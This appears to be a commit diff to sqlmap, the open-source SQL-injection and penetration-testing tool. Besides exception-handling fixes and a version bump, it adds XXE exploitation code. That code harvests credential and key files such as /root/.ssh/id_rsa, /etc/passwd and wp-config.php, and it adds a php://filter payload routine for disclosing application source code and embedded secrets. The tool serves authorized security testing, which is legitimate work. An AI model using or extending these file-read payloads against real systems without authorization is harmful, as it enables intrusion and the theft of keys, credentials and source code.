Minor update
Some checks are pending
/ build (macos-latest, 3.8) (push) Waiting to run
/ build (ubuntu-latest, pypy-2.7) (push) Waiting to run
/ build (windows-latest, 3.14) (push) Waiting to run

This commit is contained in:
Miroslav Štampar 2026-07-04 21:45:42 +02:00
parent 3bab3cd795
commit 6597415ab0
5 changed files with 121 additions and 17 deletions

View file

@ -162,13 +162,13 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py
9af5fdfa8b2425d404d86ab08d3644caa95bcf77605551f5da482a59d1e54a22 extra/vulnserver/vulnserver.py
a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py
0d1072ac052b65fca6da9975238b6f8816bc78603631b68ada4c7aea97f060e4 lib/controller/checks.py
ce1f56cd5abcbb71a1074e7fe198de5d6e75353ed3eb1084f6cac657118df8cb lib/controller/checks.py
00d56cc59757cc3f3073ac20735ac9954ff06242b9433a96bd4186c090094db3 lib/controller/controller.py
d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py
48ffe93d61734e16c3b20153b51595853d9ac1fbcf0b537e0e61e957b0c0bfa6 lib/core/agent.py
c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py
c230a214023a6556648e6af485b42fbcd10f23d2cb9018ad7bc68e36f7241328 lib/core/common.py
19989ca19194bf3f7a42a929b153e45c9a2177e01ab6ab63a5372daa5989c0e8 lib/core/common.py
8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py
5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py
c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py
@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums
9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
f8b1a13e3bb6ec50b5021bf04c52795a0d561ae3c95c8a05d1cc1c43faf4382e lib/core/settings.py
df067f981efe10f6743eba13c48c9c1db158ff4e9d015831e5dbfa2ece80f7bf lib/core/settings.py
c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py
a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py
69a68894db04695234369eedac71b5a89efc1b4ce89ef0e61ebbbc1895ff32b2 lib/core/target.py
@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py
c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py
b14b8cb398aad9e020e77c337c1b6e7f5e5cc195723a267d2579cd338b75e438 lib/techniques/xxe/inject.py
97f3ea4342b11d57cf3bb25e2ba50dc5f561bc595c6c09eebcc2ed921d096a1f lib/techniques/xxe/inject.py
2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py
442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py
da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py

View file

@ -1283,7 +1283,9 @@ def checkDynamicContent(firstPage, secondPage):
seqMatcher.set_seq1(firstPage)
seqMatcher.set_seq2(secondPage)
ratio = seqMatcher.quick_ratio()
except MemoryError:
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
# difflib can fail on pathological input or, rarely, with interpreter-level
# errors under heavy threading; degrade to "undetermined" instead of crashing
ratio = None
if ratio is None:

View file

@ -2344,9 +2344,14 @@ def showStaticWords(firstPage, secondPage, minLength=3):
infoMsg = "static words: "
if firstPage and secondPage:
match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage))
commonText = firstPage[match[0]:match[0] + match[2]]
commonWords = getPageWordSet(commonText)
try:
match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage))
commonText = firstPage[match[0]:match[0] + match[2]]
commonWords = getPageWordSet(commonText)
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
# difflib can fail on pathological input / interpreter-level hiccups; skip
# the static-word hint rather than abort (see findDynamicContent / comparison.py)
commonWords = None
else:
commonWords = None
@ -3363,7 +3368,14 @@ def findDynamicContent(firstPage, secondPage, merge=False):
infoMsg = "searching for dynamic content"
singleTimeLogMessage(infoMsg)
blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
try:
blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
# difflib can blow up on pathological/oversized input (and, rarely, with
# interpreter-level errors under heavy threading); a failed dynamic-content
# search must degrade gracefully rather than abort the whole scan - mirrors the
# guard around the ratio computation in lib/request/comparison.py
return
if not merge:
kb.dynamicMarkings = []

View file

@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.7.29"
VERSION = "1.10.7.30"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@ -1123,12 +1123,13 @@ XXE_IMPACT_FILES = (
# Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests
# this curated set of high-value, fixed-path files (host identity, process env/
# secrets, key material) - the XXE analogue of the automatic dumping the other
# non-SQL engines perform. Kept small and high-signal (each entry costs 1-2 requests);
# best-effort, so unreadable/absent files are silently skipped. Unlike XXE_IMPACT_FILES
# (a benign PRE-confirmation impact probe that avoids WAF-honeypot paths) this runs
# only AFTER confirmation, so sensitive paths are appropriate. Skipped when the user
# gave an explicit '--file-read' (that targeted request is honoured verbatim instead).
# secrets, key material, common application drop paths) - the XXE analogue of the
# automatic dumping the other non-SQL engines perform. Kept small and high-signal (each
# entry costs 1-2 requests); best-effort, so unreadable/absent files are silently
# skipped. Unlike XXE_IMPACT_FILES (a benign PRE-confirmation impact probe that avoids
# WAF-honeypot paths) this runs only AFTER confirmation, so sensitive paths are
# appropriate. Skipped when the user gave an explicit '--file-read' (that targeted
# request is honoured verbatim instead).
XXE_FILE_HARVEST = (
"/etc/passwd",
"/etc/hostname",
@ -1142,11 +1143,25 @@ XXE_FILE_HARVEST = (
"/proc/version",
"/root/.bash_history",
"/root/.ssh/id_rsa",
"/flag",
"/flag.txt",
"c:/windows/win.ini",
"c:/windows/system32/drivers/etc/hosts",
"c:/inetpub/wwwroot/web.config",
)
# Application web roots + source filenames used, once php://filter is available, to
# disclose server-side SOURCE code (which is executed and never rendered, yet leaks its
# literals - credentials, tokens, embedded secrets - verbatim through the base64 filter
# wrapper). Combined with the running script derived from harvested /proc/self/{cmdline,
# environ}. Best-effort and bounded.
XXE_WEBROOTS = ("/var/www/html", "/var/www", "/app", "/usr/src/app", "/srv/app")
XXE_SOURCE_NAMES = (
"index.php", "config.php", "config.inc.php", "secret.php",
"db.php", "database.php", "settings.php", "init.php", "functions.php",
"app.py", "server.py", "main.py", "wp-config.php", ".env",
)
# GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE:
# an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle
# an error/exfil primitive, so no outbound network is needed. (path, entity_name).

View file

@ -29,6 +29,8 @@ from lib.core.settings import XXE_ERROR_SIGNATURES
from lib.core.settings import XXE_FILE_HARVEST
from lib.core.settings import XXE_HARDENED_REGEX
from lib.core.settings import XXE_IMPACT_FILES
from lib.core.settings import XXE_SOURCE_NAMES
from lib.core.settings import XXE_WEBROOTS
from lib.core.settings import OOB_POLL_ATTEMPTS
from lib.core.settings import OOB_POLL_DELAY
from lib.core.settings import XXE_LOCAL_DTDS
@ -276,6 +278,77 @@ def _harvestFiles(xml, rootName):
return harvested
def _phpFilterWorks(xml, rootName):
"""One probe: can the target read a file via php://filter (i.e. is it PHP)? Gates
the PHP-only source-code sweep so a non-PHP target does not pay dozens of pointless
requests for it."""
from lib.core.convert import decodeBase64
m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True)
ent = randomStr(8, lowercase=True)
subset = '<!ENTITY %s SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">' % ent
payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2))
match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), getUnicode(_send(payload)), re.DOTALL)
if match and match.group(1).strip():
try:
return bool(getText(decodeBase64(match.group(1).strip())).strip())
except Exception:
pass
return False
def _harvestSource(xml, rootName, harvested):
"""PHP-only follow-up run once an in-band read primitive is confirmed: disclose
server-side application SOURCE code via php://filter (source is executed, never
rendered, yet its literals - credentials, tokens, embedded secrets - leak verbatim).
Candidate paths are derived from the already-harvested /proc/self/{cmdline,environ}
(running script + working dir) combined with common web roots/source names, and
de-duplicated against the host harvest by content. Skipped entirely on a non-PHP
target. Returns a list of (path, content, payload)."""
if not _phpFilterWorks(xml, rootName):
return []
byPath = dict((p, c) for p, c, _ in harvested)
seen = set(getUnicode(c).strip() for c in byPath.values())
candidates = []
dirs = []
environ = getUnicode(byPath.get("/proc/self/environ", ""))
match = re.search(r"(?:^|\x00)PWD=([^\x00]+)", environ)
cwd = match.group(1).strip() if match else None
if cwd:
dirs.append(cwd)
dirs += [_ for _ in XXE_WEBROOTS if _ != cwd]
cmdline = getUnicode(byPath.get("/proc/self/cmdline", ""))
for token in re.split(r"[\x00\s]+", cmdline):
if token and re.search(r"\.(?:php|py|rb|js|jsp|pl|cgi)$", token, re.I):
if token.startswith("/"):
candidates.append(token) # absolute script path
elif cwd:
candidates.append("%s/%s" % (cwd.rstrip("/"), token))
for directory in dirs:
for name in XXE_SOURCE_NAMES:
candidates.append("%s/%s" % (directory.rstrip("/"), name))
logger.info("attempting application source-code disclosure via php://filter")
result = []
read = set()
for path in candidates:
if path in read:
continue
read.add(path)
content, payload = _tryInbandFileRead(xml, rootName, path)
if content and content.strip() and getUnicode(content).strip() not in seen:
seen.add(getUnicode(content).strip())
result.append((path, content, payload))
return result
def _tryInternal(xml, rootName, baseline):
"""T2 in-band: an internal general entity expands to the sentinel and is
reflected. Guarded by a negative control (sentinel absent from baseline) and
@ -716,7 +789,9 @@ def xxeScan():
if harvested:
found = True
firstPath, _, firstPayload = harvested[0]
logger.info("in-band XXE file-read impact confirmed; harvested %d high-value file(s)" % len(harvested))
# follow-up: server-side application source disclosure (php://filter)
harvested += _harvestSource(xml, rootName, harvested)
logger.info("in-band XXE file-read impact confirmed; harvested %d file(s)" % len(harvested))
_report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload)
saved = []
for path, content, _ in harvested: